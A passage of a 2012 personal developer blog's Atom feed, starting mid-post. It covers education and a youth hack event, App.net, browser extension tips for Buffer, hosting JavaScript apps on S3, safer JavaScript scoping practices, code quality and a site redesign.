   <content type="html">&lt;p&gt;Recently I was a mentor at Young Rewired State, a nation-wide event for under-18s with the motto &amp;#8220;code a better country&amp;#8221;. The kids came together in various centres around the UK, formed groups and hacked on open data to build something entirely new, in a week. It was the most exciting and inspirational thing I&amp;#8217;ve done in a long while.&lt;/p&gt;

&lt;p&gt;The group I mentored, alongside &lt;a href='//twitter.com/codeboom'&gt;Laura&lt;/a&gt;, was made up of three fantastic kids: Max, Liza and Ed. They are 12 (nearly 13! (in March)), 11 and 10 respectively, and they achieved incredible things. We built &lt;a href='//marauder.me'&gt;marauder.me&lt;/a&gt;, a real-time geolocation app that helps you find your friends when you&amp;#8217;re attending an event, or see who&amp;#8217;s coming if you&amp;#8217;re running the event. It featured the Geolocation API, Open Street Maps and the Speech API (after a stroke of genius suggestion from Max), and was built on Node.js. It&amp;#8217;s based around the Marauder&amp;#8217;s Map from Harry Potter that shows you where various people are in Hogwarts Castle.&lt;/p&gt;

&lt;p&gt;After a brilliant presentation from Max &amp;amp; Liza to a small group of other centres, our app, much to Max&amp;#8217;s excitement, was nominated for the final in the Best Code category. Max &amp;amp; Liza again nailed the presentation to more than 500 people and the imposing judging panel that included the supermodel Lily Cole, and, while we didn&amp;#8217;t win, it made me incredibly proud of them and I hope they they too were proud of what they produced.&lt;/p&gt;

&lt;p&gt;I hope that I helped to inspire them build the next generation of incredible products and services that will make all our lives better in the future.&lt;/p&gt;

&lt;p&gt;However, this post isn&amp;#8217;t about this event. This post is about education, and how broken it really is.&lt;/p&gt;

&lt;h3 id='selfdirected_learning'&gt;Self-directed learning&lt;/h3&gt;

&lt;p&gt;Sites like the Kahn Academy have shown us just what’s possible if students are free to pick and choose what they want to learn. They lead to high levels of engagement from students who have the ability to move fast when they want, but go back over something if they don&amp;#8217;t, without the potential embarrassment of putting their hand up in class.&lt;/p&gt;

&lt;p&gt;I can&amp;#8217;t emphasise enough how important I think self-directed learning is.&lt;/p&gt;

&lt;h3 id='school_is_a_conveyor_belt'&gt;School is a conveyor belt&lt;/h3&gt;

&lt;p&gt;&lt;img alt='The Education System' src='http://d24w6bsrhbeh9d.cloudfront.net/photo/5129827_700b_v1.jpg' /&gt;&lt;/p&gt;

&lt;p&gt;The education system is broken because it is entirely results led. The government sets targets for schools, like percentage of students that get A-C and percentage that pass, so it&amp;#8217;s no wonder that schools teach for the exam.&lt;/p&gt;

&lt;p&gt;It&amp;#8217;s hard to describe what it&amp;#8217;s like to be taught like that, but you can imagine that being told that something you&amp;#8217;re interested in is not on the exam, so it&amp;#8217;s not important, is pretty soul destroying.&lt;/p&gt;

&lt;p&gt;In fact, it&amp;#8217;s so ingrained in some people that, even at university level, the first question out of people&amp;#8217;s mouths when you start a new topic is, &amp;#8220;Is this on the exam?&amp;#8221;. If it ain&amp;#8217;t on the exam, it ain&amp;#8217;t worth learning.&lt;/p&gt;

&lt;p&gt;School has become like a conveyor belt, from primary to secondary and on, and for some people (myself included) it seemed as though university was the only option available. At my school no other options were mentioned at any point. University was simply the next thing you did, and then you got a job.&lt;/p&gt;

&lt;p&gt;This is important because university probably isn&amp;#8217;t right for me; the web industry doesn&amp;#8217;t require a degree, yet I felt enormous pressure to get to a good institution because, well, that&amp;#8217;s what you did. Similarly, it probably isn&amp;#8217;t right for lots of other people.&lt;/p&gt;

&lt;p&gt;I know from personal experience that a lot of people go to uni because they have, literally, no clue what else to do. They go because they are told to, and because they know they can get away with two and a half years of drinking before doing any work. When it&amp;#8217;s done? Oh, yeah, that&amp;#8217;s when they&amp;#8217;ll think about the future.&lt;/p&gt;

&lt;p&gt;This is getting ranty, so I&amp;#8217;ll return to the topic. Self-directed learning.&lt;/p&gt;

&lt;h3 id='a_project_a_proposal_a_challenge'&gt;A project; a proposal; a challenge&lt;/h3&gt;

&lt;p&gt;As I said earlier, I believe it&amp;#8217;s incredibly important, and I believe it&amp;#8217;s been made possible by the internet. But most schools have been slow, reluctant even, to embrace what the internet offers.&lt;/p&gt;

&lt;p&gt;I want to change this, to re-engage kids by allowing them to direct their own learning and find what it is &lt;strong&gt;they&lt;/strong&gt; love doing.&lt;/p&gt;

&lt;p&gt;Education is broken, but I know that a revolution isn’t going to happen overnight. It’s a slow moving machine that’s full of dinosaurs and dust. Things don’t change fast and they don’t change radically. So, in order to enact change, we must rebuild the system by working within it; by allowing the way things work now to continue while also enabling student, and teachers, to learn about what they want and get themselves engaged in a topic.&lt;/p&gt;

&lt;p&gt;I wrote, some time ago, about &lt;a href='/2012/03/24/the-hard-stuff.html'&gt;tackling the hard problems&lt;/a&gt;. This is a hard problem, but it&amp;#8217;s one I want to take on. Luckily, I have a top notch co-conspirator in this: &lt;a href='//twitter.com/waltercfilho'&gt;Walter Carvalho&lt;/a&gt;. After a period of immersing ourselves in this area to truly understand what needs to change, we&amp;#8217;ll begin working on a product that we hope will make a difference, with a sustainable business plan (yes, business plan) and achievable short-term goals.&lt;/p&gt;

&lt;p&gt;There&amp;#8217;s lots more to say, but this is a long post and it&amp;#8217;s time you took a screen break. If you&amp;#8217;re interested, or have an opinion, I&amp;#8217;d love to hear from you. &lt;a href='mailto:tom@phuu.net'&gt;Email me&lt;/a&gt;.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>What I see in App.net</title>
   <link href="http://phuu.net/2012/08/12/what-i-see-in-app-dot-net.html"/>
   <updated>2012-08-12T00:00:00+01:00</updated>
   <id>http://phuu.net/2012/08/12/what-i-see-in-app-dot-net</id>
   <content type="html">&lt;p&gt;I backed &lt;a href='http://app.net'&gt;app.net&lt;/a&gt; from quite early, admittedly in part because I relish the opportunity to be an &lt;a href='https://alpha.app.net/phuu'&gt;early adopter&lt;/a&gt; of anything, but in the main because I felt that the idea was important; necessary even. It felt like something big.&lt;/p&gt;

&lt;p&gt;Dalton Caldwell, the mastermind of the app.net project wrote this about the idea in his &lt;a href='http://daltoncaldwell.com/dear-mark-zuckerberg'&gt;open letter to Mark Zuckerberg&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;I believe that a number of smaller, interoperable social platforms with a clear, sustainable business models will usurp you. These future companies will be valued at a small fraction of what Facebook and Twitter currently are. I think that is OK. Platforms are judged by the value generated by their ecosystem, not by the value the platforms directly capture.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Some have interpreted this to mean that app.net should be a &lt;a href='http://diasporaproject.org/'&gt;Diaspora&lt;/a&gt;-style federated social network, allowing data to be distributed between silos. But I don&amp;#8217;t read it that way.&lt;/p&gt;

&lt;p&gt;The way I see it, app.net is the first of (hopefully) many such API-driven services that interoperate because of their developer communities. We know one or two monoliths in the space is not good for anyone, particularly when the end product becomes the user, and not the service. Without mentioning any names, Twitter and Facebook. Oops.&lt;/p&gt;

&lt;p&gt;Choice and competition in any market or economic space is known to be beneficial and hope that in a few years time we see a choice of social media platforms, each with different strengths, that interoperate in a way that benefits the end user and empowers the developers. And with Twitter, the could-have-been real-time API of the web, booting up a corporate feel, I think this is very important.&lt;/p&gt;

&lt;p&gt;In app.net, I see the beginnings of a bright future for the social web, built on high-quality platforms where a user has a choice and where developers can built as yet unimagined tools, services and products.&lt;/p&gt;

&lt;p&gt;When the service becomes the product, great avenues of opportunity open.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Browser Extension Tips</title>
   <link href="http://phuu.net/2012/07/30/tips-and-tricks-browser-extension-development.html"/>
   <updated>2012-07-30T07:00:00+01:00</updated>
   <id>http://phuu.net/2012/07/30/tips-and-tricks-browser-extension-development</id>
   <content type="html">&lt;p&gt;I thought I&amp;#8217;d share a few things that might help you out if you&amp;#8217;re putting together an extension, particularly if it&amp;#8217;s for more than one browser.&lt;/p&gt;

&lt;h3 id='split_the_code'&gt;Split the code&lt;/h3&gt;

&lt;p&gt;One of the most important aspects of the Buffer extensions is the separation of the browser-specific and browser-agnostic code. The integrations, hotkeys and the page scraper use the same across the three browsers that we officially support: Chrome, Firefox and Safari, alongside some browser specific code that enable the duplication.&lt;/p&gt;

&lt;p&gt;The shared code is in a separate repository and is a submodule of each extension&amp;#8217;s repo. It&amp;#8217;s very useful becuase it enables me to quickly make an update to fix an integration in one browser and deploy it quickly to all three, and keep track of when each improvement was released out into the wild for each browser.&lt;/p&gt;

&lt;p&gt;It&amp;#8217;s meant a few hacks to allow the shared code to work the same in each browser, but now that&amp;#8217;s in place I am reasonably sure that any change to a content script will work in all three. And, since we rely heavily on content scripts, that confidence is very important.&lt;/p&gt;

&lt;h3 id='extension_info'&gt;Extension info&lt;/h3&gt;

&lt;p&gt;Extensions have a configuration file that dictates anything from the name and descripton to which content scripts are injected where and when. So it&amp;#8217;s pretty useful to be able to grab information about your extension to use in the background page. The APIs for this are not obvious or non-existant, so here&amp;#8217;s a few snippets to help you get the information.&lt;/p&gt;

&lt;p&gt;In Chrome you can get the manifest.json as an object using the chrome.app API, and make it available as &lt;code&gt;chrome.manifest&lt;/code&gt;. &lt;pre&gt;&lt;code data-language='javascript'&gt;
chrome.manifest = chrome.app.getDetails();
&lt;/code&gt;&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;In Safari the info is store as a plist file. Urgh. Use a blocking XMLHttpRequest, and a JS plist parser, and expose it as &lt;code&gt;safari.info&lt;/code&gt;. &lt;pre&gt;&lt;code data-language='javascript'&gt;
var req = new XMLHttpRequest();
req.open(
  'GET',
  safari.extension.baseURI + 'Info.plist',
  false);
req.send();
safari.info =
  PlistParser.parse(req.responseXML);
&lt;/code&gt;&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;Firefox is a trickier beast. You can get some of the data from the global self object&amp;#8230; &lt;pre&gt;&lt;code data-language='javascript'&gt;
self.version; // &quot;1.7.3&quot;
self.name; // &quot;MyGreatExtension&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/p&gt;

&lt;p&gt;But you can&amp;#8217;t get at things which can only be specified in the Firefox package.json, like the preference list. I&amp;#8217;m working on a way to do this, using some of the lower-level Firefox APIs. I&amp;#8217;d love to hear from you if you know a way.&lt;/p&gt;

&lt;h3 id='work_straight_after_install'&gt;Work straight after install&lt;/h3&gt;

&lt;p&gt;With the Buffer Chrome extension we needed the extension work straight away after a user installed it, becuase we found that most users would install the extension and then remove it straight away when it didn&amp;#8217;t work.&lt;/p&gt;

&lt;p&gt;We could have asked them to reload all their tabs, but this seemed very bad for the user experience and I wanted avoid it at all costs.&lt;/p&gt;

&lt;p&gt;The way to do it in the end to use programmtic injection to add the most important scripts (the overlay) into all open tabs.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
// Inject scripts listed in the manifest
var inject = function (id) {
  var scripts =
    chrome.manifest.content_scripts[0].js;
  scripts.forEach(function (script) {
    chrome.tabs.executeScript(id, {
      file: script
    });
  });
};

// Grab all the windows with tab data
chrome.windows.getAll({
  populate: true
}, function (windows) {
  // Iterate through each window
  windows.forEach(
    function (currentWindow) {
      // And each tab...
      currentWindow.tabs.
        forEach(function (currentTab) {
          // Skip chrome:// and https://
          if( ! currentTab.url.
               match(/(chrome|https):\/\//gi)
            ) {
            // Injectify!
            inject(currentTab.id);
          }
      });
  });
});

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And yeah, we can totally use &lt;code&gt;Array.forEach&lt;/code&gt; cos we&amp;#8217;re guarenteed to be in Chrome. Woop!&lt;/p&gt;

&lt;p&gt;Oh, and sorry for how unreadable that code is. It&amp;#8217;s a narrow box, and I need to work on biggifying it.&lt;/p&gt;

&lt;h3 id='surviving_an_upgrade'&gt;Surviving an upgrade&lt;/h3&gt;

&lt;p&gt;Chrome is Buffer&amp;#8217;s most used extension, and is the biggest source of updates posted, so I want to make the Chrome experience as great as possible. One part of this was having a seamless upgrade experince.&lt;/p&gt;

&lt;p&gt;By default, when your extension is upgraded (automatically and without warning) the content scripts that the previous version of the extension injected will no longer be have access to the port-based messaging service the two sides use to communicate. In the case of Buffer, this effectively made the extension useless.&lt;/p&gt;

&lt;p&gt;The first version of the extension that fixed this actually contained a memory leak that could crash the browser, but after some rejigging we now have an efficient system for restoring the connectiong. The extension overall has one of the smallest memory footprints of the extensions I have installed.&lt;/p&gt;

&lt;p&gt;The following code would go in a file injected into every page where a content script require access to a port to the background page.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var port;

// Trigger connect...
var reconnect = function () {
  port = null;
  // ...after 1 second
  setTimeout(connect, 1000 * 1);
};

// Attempt to connect
var connect = function () {

  // Make the connection
  port =
    chrome.extension.connect({name: &quot;port&quot;});
  
  // We listen for an onDisconnect event, and
  // then wait for a second before trying to
  // connect again.
  // Because chrome.extension.connect fires
  // an onDisconnect event if it does not
  // connect, an unsuccessful connection will
  // trigger another delayed attempt.
  port.onDisconnect.addListener(reconnect);
  
};

// Connect for the first time
connect();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That should keep your content scripts connected up and working even if the extension is uninstalled or upgraded.&lt;/p&gt;

&lt;h3 id='summary'&gt;Summary&lt;/h3&gt;

&lt;p&gt;Hopefully some of this might help you out if you&amp;#8217;re putting together a content script heavy browser extension. I&amp;#8217;d love to hear from you if you have any thoughts, ideas or questions – just &lt;a href='mailto:tom@phuu.net'&gt;email me&lt;/a&gt;!&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Javascript App Hosting on S3</title>
   <link href="http://phuu.net/2012/07/22/javascript-app-hosting-on-s3.html"/>
   <updated>2012-07-22T08:00:00+01:00</updated>
   <id>http://phuu.net/2012/07/22/javascript-app-hosting-on-s3</id>
   <content type="html">&lt;p&gt;I came up with a technique for hosting Javascript apps on Amazon&amp;#8217;s S3 that can use the request URI (path) as any app with a server side could. This enables a &amp;#8216;fake&amp;#8217; directory structure that is actually just one page on S3. I built &lt;a href='http://schemist.phuu.net'&gt;schemist&lt;/a&gt; using this technique.&lt;/p&gt;

&lt;h3 id='the_basic_concept'&gt;The basic concept&lt;/h3&gt;

&lt;p&gt;At it&amp;#8217;s core, the idea is as simple as using S3&amp;#8217;s static website hosting tools to force all requests to go to one page. This is as simple as setting up a bucket as a website and pointing the index and 404 pages to the same file (could be index.html or anything else). Because the request URI is kept when the 404 page is served, you can process it using Javascript and serve any content you like, faking a directory structure. This means pretty urls are very easy, and still enables query strings and page identifiers. In combo with the History API, it&amp;#8217;s pretty damn cool.&lt;/p&gt;

&lt;h3 id='how_to_do_it'&gt;How to do it&lt;/h3&gt;

&lt;p&gt;Let&amp;#8217;s say you&amp;#8217;re wanting to set up a site for your awesome new startup, &lt;a href='http://bogrollclub.com'&gt;Bog Roll Club&lt;/a&gt;. You&amp;#8217;re gonna sell Bog Roll as a subscription service to the world. Great idea, but you want to get a page set up real fast that can handle the extreme traffic you&amp;#8217;ll be getting. No probs.&lt;/p&gt;

&lt;h4 id='s3'&gt;S3&lt;/h4&gt;

&lt;p&gt;You&amp;#8217;ve bought the domain, bogrollclub.com (no www here). Head to your Amazon S3 control panel, and create a new bucket named the same as that very domain. Like so:&lt;/p&gt;

&lt;p&gt;&lt;img alt='S3 Bucket' src='http://i.phuu.net/image/2j3n2Z403R3k/Screen%20Shot%202012-07-22%20at%2009.35.00.png' /&gt;&lt;/p&gt;

&lt;p&gt;Next, open the Properties of the new bucket, and then the Website tab. Tick the &lt;code&gt;Enabled&lt;/code&gt; checkbox and put &lt;code&gt;index.html&lt;/code&gt; in both the &lt;code&gt;Index Document&lt;/code&gt; and &lt;code&gt;Error Document&lt;/code&gt; fields. Click save. It&amp;#8217;ll look something like this:&lt;/p&gt;

&lt;p&gt;&lt;img alt='Website Tab' src='http://i.phuu.net/image/3J0Q2b161v0p/Screen%20Shot%202012-07-22%20at%2009.38.35.png' /&gt;&lt;/p&gt;

&lt;p&gt;You&amp;#8217;ll notice you have a URL at the bottom of that window. Copy it, for it will become useful very soon.&lt;/p&gt;

&lt;h4 id='the_app'&gt;The app&lt;/h4&gt;

&lt;p&gt;Now, upload your site/app to S3. You can do exactly how you&amp;#8217;d do any other &amp;#8216;static&amp;#8217; site, except make sure that all paths (to CSS or JS) are relative to the base URL - ie, they begin with a forward slash.&lt;/p&gt;

&lt;p&gt;Oh, and make sure &lt;strong&gt;all files&lt;/strong&gt; are set to be readable by &amp;#8216;Everyone&amp;#8217; (or &amp;#8216;World&amp;#8217;).&lt;/p&gt;

&lt;p&gt;Here&amp;#8217;s a teeny little bit of Javascript that will grab the segments of the request URI for you:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
// Grab the pathname segments
var segments = window.location.pathname.split('/').slice(1);

if( segments[0] === 'somepage' ) {
  . . .
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id='testing'&gt;Testing&lt;/h4&gt;

&lt;p&gt;That linked you copied? Try going to it in your browser. You should see your crazy-cool site. If not, read back over the above and mess around. If it still doesn&amp;#8217;t work, &lt;a href='http://twitter.com/phuunet'&gt;tweet me&lt;/a&gt;.&lt;/p&gt;

&lt;h4 id='domain__dns'&gt;Domain &amp;amp; DNS&lt;/h4&gt;

&lt;p&gt;Lastly, the cool bit.&lt;/p&gt;

&lt;p&gt;You&amp;#8217;ve got the domain name (right?), so head to the Host Records (DNS Configuration) of your domain control panel. For me, on Namecheap, that&amp;#8217;s under All Host Records of the domain panel.&lt;/p&gt;

&lt;p&gt;Find the area where you configure the hostnames. You need to set them up so that the &lt;code&gt;@&lt;/code&gt; record is a CNAME, and that its URL points to that S3 url, without the &lt;code&gt;http://&lt;/code&gt; or trailing &lt;code&gt;/&lt;/code&gt;. You should also have a &lt;code&gt;www&lt;/code&gt; host that&amp;#8217;s a URL redirect (301 if you can) that points to the full (www-less) URL of your site. So &lt;code&gt;http://bogrollclub.com&lt;/code&gt; in this case.&lt;/p&gt;

&lt;p&gt;Something like this:&lt;/p&gt;

&lt;p&gt;&lt;img alt='DNS Config' src='http://i.phuu.net/image/0J2V0336160k/Screen%20Shot%202012-07-22%20at%2010.20.15.png' /&gt;&lt;/p&gt;

&lt;p&gt;Yeah, you can&amp;#8217;t see much, but you get the idea, right?&lt;/p&gt;

&lt;p&gt;Save those changes, and wait a little while for the DNS to propagate. In my case that was less than a minute.&lt;/p&gt;

&lt;h4 id='woot'&gt;Woot&lt;/h4&gt;

&lt;p&gt;And that&amp;#8217;s it! Grab a cool, refreshing glass of lemonade and head to your site (&lt;a href='http://bogrollclub.com/'&gt;bogrollclub.com&lt;/a&gt;). Feel happy &amp;amp; profit.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Along For The Ride</title>
   <link href="http://phuu.net/2012/07/12/along-for-the-ride.html"/>
   <updated>2012-07-12T00:00:00+01:00</updated>
   <id>http://phuu.net/2012/07/12/along-for-the-ride</id>
   <content type="html">&lt;p&gt;I am nineteen.&lt;/p&gt;

&lt;p&gt;My life expectancy is around seventy-five years.&lt;/p&gt;

&lt;p&gt;The history of the Web stretches back a mere two or three further years.&lt;/p&gt;

&lt;p&gt;The first high-level programming language, FORTRAN, was invented in 1954 and von Neumann&amp;#8217;s stored-program model was conceived in 1945.&lt;/p&gt;

&lt;p&gt;Let&amp;#8217;s say that the full history of computer programming as know it today extends back sixty years. That&amp;#8217;s a nice, round number.&lt;/p&gt;

&lt;p&gt;I will, if things go my way, live as long as code has been around. That&amp;#8217;s sobering. How incredibly far computers have come in that time, coupled with the accelerating pace of change, makes me dizzy with the thought of where we could be in another sixty years. Awe-inspiring.&lt;/p&gt;

&lt;p&gt;Of course, that time-span is a drop in the great ocean of human history as tool builders. When Steve Jobs said the computer is a bicycle for the mind, I think he underestimated.&lt;/p&gt;

&lt;p&gt;But, there&amp;#8217;s another side to this. My knowledge does not encompass the first iota of what there is to know. While my mentality now is to move fast and do it all while I can, I can&amp;#8217;t help but wonder if we are all chasing smoke. Put Twitter and Facebook in the context what is yet to come and it all seems suddenly vacuous.&lt;/p&gt;

&lt;p&gt;Nobody knows where we&amp;#8217;ll be next year, let alone in ten years or sixty years.&lt;/p&gt;

&lt;p&gt;Then again, who cares? Honestly, I&amp;#8217;m just happy to be along for the ride.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>How to write safer Javascript</title>
   <link href="http://phuu.net/2012/07/11/safe-javascript.html"/>
   <updated>2012-07-11T12:00:00+01:00</updated>
   <id>http://phuu.net/2012/07/11/safe-javascript</id>
   <content type="html">&lt;p&gt;I just thought I&amp;#8217;d share a few quick ways of making your Javascript a little bit safer. I&amp;#8217;d recommend reading deeper into a few of these techniques too. The &lt;a href='https://developer.mozilla.org/en/JavaScript'&gt;MDN Javascript&lt;/a&gt; articles are great for this, and reading &lt;a href='https://github.com/jquery/jquery'&gt;the source code&lt;/a&gt; of major Javascript projects &amp;amp; libaraies is a great way of seeing this stuff in action.&lt;/p&gt;

&lt;h3 id='global_warming_prevent_pollution'&gt;Global Warming: Prevent Pollution&lt;/h3&gt;

&lt;p&gt;In Javascript there&amp;#8217;s a couple of ways of defining variables. One is good (if used properly), one is disastrously bad.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
evilVariable = 'mwahaha';
var notQuiteSoEvil = 'lol';
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That first one? That is a global variable and is muchos bad. No matter where you write that code, evilVariable variable will be available &lt;strong&gt;everywhere&lt;/strong&gt; else.&lt;/p&gt;

&lt;p&gt;This is because the variable becomes a property of the global object - in browsers, that&amp;#8217;s ‘window’. So in this case we&amp;#8217;d have window.evilVariable.&lt;/p&gt;

&lt;p&gt;By using the var keyword you limit the scope (segment of code in which a particular variable can be used) to the closest function. More on this in the next section&amp;#8230;&lt;/p&gt;

&lt;h3 id='use_protection'&gt;Use Protection&lt;/h3&gt;

&lt;p&gt;If you&amp;#8217;d used that previous code example in a script tag on your page, you&amp;#8217;d still actually be creating a global variable (so you&amp;#8217;d still have window.notQuiteSoEvil), but read on for a way round that!&lt;/p&gt;

&lt;p&gt;Since it&amp;#8217;s never a good idea to pollute the global scope of your page if you can avoid it, one way to ensure you aren&amp;#8217;t causing global warming is to to wrap all your code in a self-executing anonymous function. Though it sounds scary, it&amp;#8217;s actually quite simple.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
// A simple self executing function
(function () {
  // This code will be run automatically and
  // variables declared in here won't pollute
  // the global scope
}());

// This can also be written like this,
// where the execution brackets are outside
// the function wrapping pair.
(function () {
  // . . .
})(); 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Looks like a normal function right? But check out the extra parentheses&amp;#8230; they run the function straight away. You have to wrap it all in parentheses because that makes sure that function () { &amp;#8230; } an &lt;em&gt;expression&lt;/em&gt; not a &lt;em&gt;declaration&lt;/em&gt;, but that&amp;#8217;s outside of the scope (see, there it is again!) of this article. Check out &lt;a href='https://developer.mozilla.org/en/JavaScript/Reference/Functions_and_function_scope/'&gt;MDN&lt;/a&gt; for more.&lt;/p&gt;

&lt;p&gt;As mentioned above, any variables decalred within the self-executing function will only be visible within that function (and inside any functions declared within the parent function). This is called functional scoping and is one of the differences between Javascript and most other languages. It&amp;#8217;s also incredibly powerful, enabling a wealth of neat Javascript tricks like closures. Anyway, back on topic!&lt;/p&gt;

&lt;p&gt;I tend to make a slight improvement to this but adding a semicolon before the first bracket, a la:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
// Anuvva semi-colon
;(function () {
  // Self-executing lovelynesses
}());
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is to protect against something like this happening:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
// WARNING!! BAD CODE BEGINS HERE ========
(function burp(thing) {
  // This function will self-execute with
  // whatever the function below returns
  // passed as an argument.
  var herp = 'derp'
      derp = 'herp'
})
    
(function () {
  // Some other (good) stuff in here
}());

// This is becuase you are essentially
// writing this crazyness:
(function () {
  // Codez
})(function () {
  // Some other (good) stuff in here
}());

// PHEW!! BAD CODE ENDS HERE =============
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Yeah, crazy. Don&amp;#8217;t do it, kids.&lt;/p&gt;

&lt;p&gt;The extra semicolon (or !, +, - and a few others) is also useful for flagging to the next poor soul reading your code that something&amp;#8217;s afoot (ie, the following is a self executing function).&lt;/p&gt;

&lt;h3 id='typeof_undefined__undefined'&gt;typeof undefined !== &amp;#8220;undefined&amp;#8221;&lt;/h3&gt;

&lt;p&gt;Theoretically, some bastard could write:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
// WARNING!!
// Do this, and will come to your
// house and personally remove your kneecaps
undefined = true;
typeof undefined === &quot;undefined&quot;; // false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is nighmarish because everywhere you write&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
if(myVariable === undefined) {
  // . . .
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;will be horribly broken. Since undefined is now true, even if myVariable has not been defined the code within the if statement will not run.&lt;/p&gt;

&lt;p&gt;This is possible becuase undefined is &lt;strong&gt;not&lt;/strong&gt; a Javascript keyword, but a &lt;strong&gt;property&lt;/strong&gt; of the global object. Don&amp;#8217;t ask me why. Javascript has some odd bits.&lt;/p&gt;

&lt;p&gt;The way to protect against this is to hack the way Javascript handles arguments. If a function is expecting three arguments, but only two are supplied, the value of the third will be undefined. Similarly, if the function is expecting one argument but recieves none then the argument will be undefined.&lt;/p&gt;

&lt;p&gt;So, to ensure that undefined is always (erm) &lt;strong&gt;undefined&lt;/strong&gt;, you can do this:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
;(function (undefined) {
  // Becuase no arguments were passed to
  // this function you have your own,
  // pristine, local copy of undefined
  typeof undefined === &quot;undefined&quot;; // true
}());
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Easy peasy, right?!&lt;/p&gt;

&lt;h3 id='done_and_done'&gt;Done and done&lt;/h3&gt;

&lt;p&gt;I hope these quick tips will help you write safer Javascript, and will help protect you from cowboy web developers who are redefining undefined.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Quality & Code</title>
   <link href="http://phuu.net/2012/07/06/quality-and-code.html"/>
   <updated>2012-07-06T08:00:00+01:00</updated>
   <id>http://phuu.net/2012/07/06/quality-and-code</id>
   <content type="html">&lt;p&gt;I always want to avoid anything that might be called self-righteous or hypocritical, but please excuse me if I venture into that territory. This post is as much a manifesto for myself as it is a criticism of anyone else.&lt;/p&gt;

&lt;p&gt;As a developer, you spend far more time reading, maintaining and refactoring code than you do writing it, yet it seems still that many value code that “just works” over that which is well thought-out, documented and tested. This minimises the time it takes to write the code, but is a surefire way to give yourself monstrous degugging challenges later.&lt;/p&gt;

&lt;p&gt;I suggest that, if your intention is to open-source your work, or have others work with you, or just to work on the same piece of code more than once, you should be investing time in code quality, aesthetic and algorithmic, and in documentation and tests. In fact, I see it almost as matter of pride.&lt;/p&gt;

&lt;p&gt;My thoughts turned to this because I’ve come across a worrying number of open source projects from well-known developers exhibiting dire code quality. If you want others to contribute, please make it easy. Please.&lt;/p&gt;

&lt;p&gt;I believe it&amp;#8217;s linked to the subconscious desire, perhaps instinct, of a developer to avoid rendering themselves redundant within a project. If you’re the only person who can successful make changes to a piece of code then you&amp;#8217;re effectively cementing yourself into the code base. I hope I don&amp;#8217;t need to explain why that&amp;#8217;s obscene.&lt;/p&gt;

&lt;p&gt;I’m not naive enough to suggest that everyone, particularly those working on internal code to a tight deadline, can invest energy in comprehensive test coverage and detailed documentation for entirely practical reasons (it’s possible that’s down to the attitude of management too, since it’s hard to justify, to a client, hours spent writing documentation), but even in this arena things could (should) be better.&lt;/p&gt;

&lt;p&gt;While I won&amp;#8217;t hold myself up as a beacon of code excellence, I would like to think that I do my best and that I&amp;#8217;m always striving to get better at it. I&amp;#8217;m very much obsessed with the way code looks and reads; code is poetry and I want to be a laureate.&lt;/p&gt;

&lt;p&gt;For me, keeping up with best practices and learning entirely new techniques to sharpen skills in my language-of-choice are vitally important too.&lt;/p&gt;

&lt;p&gt;Give a shit about your code, and others will too. Take pride in it. Don’t give potential collaborators the middle finger before they’ve even begun.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Grid, Set and Match</title>
   <link href="http://phuu.net/2012/07/03/grid-set-and-match.html"/>
   <updated>2012-07-03T10:42:00+01:00</updated>
   <id>http://phuu.net/2012/07/03/grid-set-and-match</id>
   <content type="html">&lt;p&gt;This new redesign of my site is here, and I&amp;#8217;m happy with it. You might be interested to know a bit about what&amp;#8217;s underneath&amp;#8230;&lt;/p&gt;

&lt;p&gt;The layout&amp;#8217;s built on Gridset, a new tool made by the talented chaps and chapettes at Mark Boulton Design, designed to make putting together compound grids so easy a napping baby could do it, and Gridset makes it so with aplomb. I&amp;#8217;ve always been a stickler for good vertical alignment and acheiveing the look of a grid even if I don&amp;#8217;t always use one, so it just made sense to try out Gridset. It&amp;#8217;s still in beta and I&amp;#8217;ll probably end up paying for it, but I&amp;#8217;ll be happy to.&lt;/p&gt;

&lt;p&gt;&lt;img alt='Goals and contraints' src='/images/new_sketches_targets.jpg' /&gt;&lt;/p&gt;

&lt;p&gt;I started by writing out a short list of goals and constraints. They included insighful things like &amp;#8220;reabable, good looking, …, not be blue&amp;#8221;. Clearly, blue was to be avoided. Looking at them now I think I achieved everything on that list, except perhaps distinctive – although that&amp;#8217;s probably the most subjective of the list.&lt;/p&gt;

&lt;p&gt;&lt;img alt='Ideas' src='/images/new_sketches_header.jpg' /&gt;&lt;/p&gt;

